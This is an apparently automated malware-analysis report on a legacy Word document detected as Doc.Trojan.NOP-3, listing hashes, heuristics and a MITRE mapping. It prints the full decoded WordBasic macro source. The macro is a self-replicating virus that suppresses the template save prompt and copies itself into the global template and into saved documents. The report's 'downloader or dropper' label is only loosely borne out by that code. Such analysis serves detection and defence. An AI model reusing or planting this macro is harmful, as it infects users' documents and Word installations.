Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6fd4179bc5d86a49…

MALICIOUS

Office (OLE)

34.5 KB Created: 1998-03-16 16:19:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 06f49e22f45a25dc495cddebec727dc6 SHA-1: 35aa4cffea20781ac42291382e123777561f5ba2 SHA-256: 6fd4179bc5d86a492c1436488135829f6ce49d0825172dd300f04c0e7a445558
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains a legacy WordBasic macro that executes the AutoOpen subroutine. This subroutine copies itself and another macro, then saves the current document with its original filename. This behavior is indicative of a downloader or dropper mechanism, though the specific payload is not evident. The ClamAV detection further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.NOP-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.NOP-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1182 bytes
SHA-256: e287573614cc68142e18ebba9d4938328cf6c6494f37745efa2453176b9b81da
Detection
ClamAV: Doc.Trojan.NOP-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Speichert die aktuelle Datei oder Dokumentvorlage."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim m$
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
m$ = WordBasic.[FileName$]() + ":TAOA"
WordBasic.MacroCopy m$, "Global:DateiSpeichern"
m$ = WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy m$, "Global:TAOA"
End Sub

Attribute VB_Name = "TAOA"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Speichert die aktuelle Datei oder Dokumentvorlage."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.TAOA.MAIN"
Dim m$
m$ = WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "Global:TAOA", m$
m$ = WordBasic.[FileName$]() + ":TAOA"
WordBasic.MacroCopy "Global:DateiSpeichern", m$
WordBasic.FileSaveAs Name:=WordBasic.[FileName$](), Format:=1
End Sub